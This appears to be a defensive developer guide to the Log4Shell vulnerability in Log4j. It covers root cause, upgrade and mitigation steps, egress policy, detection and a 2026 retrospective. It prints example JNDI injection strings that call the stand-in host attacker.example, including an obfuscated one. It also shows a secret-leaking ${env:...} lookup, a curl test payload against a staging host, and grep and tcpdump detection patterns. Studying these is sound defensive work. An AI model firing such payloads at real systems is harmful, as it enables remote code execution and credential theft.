CVE-2021-44228: Log4Shell - REFLEX Analysis

CVE Overview

Legacy System Support

For organisations unable to upgrade immediately, use the temporary mitigations in the Fortify section while you plan your upgrade path. Only one of them, removing the JndiLookup class, is effective.

The vulnerability that broke the internet. Log4Shell let attackers run code on any system that logged a string they controlled. Log4j was everywhere, so that meant a lot of systems.

An attacker spends a Friday evening spraying ${jndi:ldap://...} strings into every field they can reach: User-Agent headers, login forms, chat messages, even device names. Most of the targets never asked for Log4j. It arrived inside Elasticsearch, Apache Solr, a VMware appliance, or a Minecraft server. One of those requests lands in the support portal of a logistics company. The portal logs the User-Agent, Log4j resolves the lookup, and the JVM fetches and runs a class from the attacker's LDAP server. By Monday the attacker has a shell, the cloud credentials from the environment, and a foothold nobody notices for weeks.


REFLEX Analysis

Reconnaissance

From an attacker's perspective:

Finding Log4Shell targets was trivial. Attackers did not need to know whether a system used Log4j. They sent the payload everywhere and waited for callbacks.

The attacker's advantage was that any logged input became an attack vector: usernames, HTTP headers, form fields, chat messages.

Developer insight: Your attack surface includes every library that touches user input, including the ones you never chose and cannot see in your pom.xml.

Evaluate

Vulnerability assessment:

Log4Shell was exploitable when these conditions aligned:

Technical root cause: Log4j's lookup feature resolved ${...} expressions inside log messages. The jndi: lookup made a JNDI call to whatever server the string named. An LDAP server could answer with a reference to a remote Java class, which the JVM then loaded. Newer JDKs block remote class loading by default, but attackers moved on to deserialisation gadgets already on the classpath. Even with no code execution, lookups such as ${env:AWS_SECRET_ACCESS_KEY} could leak secrets inside the DNS name of the callback.

The fix for 2.15.0 was incomplete, which led to more CVEs:

Assessment challenges for developers:

Check your own exposure at both build and artefact level:

# Maven: which modules pull in log4j-core, and at what version
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

# Gradle
./gradlew dependencyInsight --dependency log4j-core

# Built artefacts, including nested and shaded JARs
syft dir:./build -o table | grep -i log4j

Developer insight: You can only assess what you can see. If your inventory stops at the build file, you can't see shaded copies inside your own artefacts.

Fortify

Prevention and hardening:

Upgrade first. Move to Log4j 2.17.1 or later on Java 8+, 2.12.4 on Java 7, or 2.3.2 on Java 6. These fix CVE-2021-44228 and the follow-up CVEs.

If you cannot upgrade immediately, there is one temporary mitigation that works:

# Remove the JndiLookup class from every log4j-core JAR (including copies inside fat JARs)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Avoid the mitigations that were widely shared in December 2021:

// Both lines are exploitable on log4j-core 2.14.1
logger.info("User login: " + username);
logger.info("User login: {}", username);

// Upgrading is the fix. Logging less user-controlled data reduces exposure for the next bug.
logger.info("User login: userId={}", userId);

Long-term fortification:

Developer insight: A logging library is in every request path. Treat its security updates as emergency patches.

Limit

Damage containment:

The organisations that fared best in December 2021 already had tight egress. A JVM with no route to the internet could still be tricked into a lookup, but it could not fetch the attacker's class.

A Kubernetes NetworkPolicy that allows only the database and cluster DNS:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: web-app-egress
spec:
  podSelector:
    matchLabels:
      app: web-app
  policyTypes:
    - Egress
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database
      ports:
        - protocol: TCP
          port: 5432
    # Without this rule, name resolution fails for the whole pod
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
          podSelector:
            matchLabels:
              k8s-app: kube-dns
      ports:
        - protocol: UDP
          port: 53
        - protocol: TCP
          port: 53

This blocks the LDAP fetch. It does not block DNS. The cluster resolver still forwards lookups for the attacker's domain, so the callback, and any secrets embedded in the hostname, can still leak. Egress controls limit code execution. Only the upgrade closes the hole.

Developer insight: Assume something will get in. Design so a compromised service cannot reach much once it does.

Expose

Detection and visibility:

Attack indicators to monitor:

Log patterns that revealed exploitation:

# Access log entries carrying the payload
"GET / HTTP/1.1" 200 - "${jndi:ldap://attacker.example:1389/a}"
"GET / HTTP/1.1" 200 - "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.example/a}"

# Application log showing a failed JNDI lookup
ERROR JndiManager javax.naming.CommunicationException: attacker.example:1389

Detection commands:

# Search request and application logs, including compressed rotations
zgrep -E -i '\$\{(jndi|\$\{(lower|upper|::-))' /var/log/nginx/access.log*

# Watch for LDAP and RMI traffic leaving the host
tcpdump -i any -n 'tcp and (dst port 389 or dst port 636 or dst port 1389 or dst port 1099)'

A simple grep misses heavily obfuscated payloads. Use it as a quick triage step, then rely on egress and process monitoring to catch what slips through.

Developer insight: Payloads mutate. Network and process behaviour don't. Watch what your JVM does, not just what it receives.

Exercise

Practice and preparedness:

Safe exercises:

  1. Inventory drill: time how long it takes to list every service and artefact that contains log4j-core, with versions. Include container images and vendor products.
  2. Canary test in staging: use a DNS canary you own, such as a Thinkst Canarytokens Log4Shell token, against a staging instance you control. A callback means a vulnerable path exists. Never test systems you don't own.
  3. Egress check: from inside a production-like pod, try to reach an external LDAP port. Confirm the connection fails and an alert fires.
# Run against your own staging service only
curl -H 'User-Agent: ${jndi:ldap://<your-canary-token-hostname>/a}' https://staging.your-app.example/

# Then confirm: did the canary fire? Did the WAF or log search flag the request?

Team preparedness checklist:

What-if scenarios:

Developer insight: Work out your dependency inventory now. During a disclosure is the worst time to discover you don't have one.


Four Years Later

Log4Shell should have been the turning point. The fix is well known and non-breaking, yet Sonatype's 2026 State of the Software Supply Chain report found that developers downloaded more than 42 million vulnerable Log4j versions in 2025. That is 13% of all Log4j downloads. Some regions have driven the vulnerable share down to single digits, while others still pull 20 to 45% vulnerable versions.

Sonatype puts this down to consumption habits: outdated build templates, pinned versions and transitive dependencies nobody owns. Part of the problem is lifecycle. It reports that 14% of the Log4j artifacts affected by Log4Shell are now end-of-life, and those artifacts still drew more than 619 million downloads in 2025. On an end-of-life line there is no upstream patch to take, so the only exits are a major upgrade, a replacement or commercial extended support. See End-of-Life Dependencies.

These are one vendor's figures from its own registry telemetry. The lesson holds anyway: a famous CVE with a free fix still circulates years later unless something in your pipeline stops it.


Key Takeaways for Developers

Most important lesson: Dependency management is security management. A library you never chose can still put code execution in your request path.

CRITICAL: Upgrade to Log4j 2.17.1 or later (2.12.4 on Java 7, 2.3.2 on Java 6).

Immediate actions:

  1. Upgrade: move every copy of log4j-core to 2.17.1 or later.
  2. Find hidden copies: scan built artefacts and images, not just build files, for shaded and nested JARs.
  3. Remove JndiLookup.class where you cannot upgrade yet. Do not rely on formatMsgNoLookups.
  4. Add CI scanning: OWASP Dependency-Check, OSV-Scanner or Dependabot, with a failing threshold for critical CVEs.
  5. Restrict egress: allowlist outbound destinations for application servers.
  6. Monitor: alert on outbound LDAP/RMI and shells spawned by Java processes.

Long-term practices:

Related patterns: Submodule and Vendored Code Drift covers bundled copies that escape your dependency tree. Provenance and SBOM Tampering covers the inventory you need to answer "are we affected?". Kubernetes Misconfigurations covers the egress and isolation controls that limited the damage.


References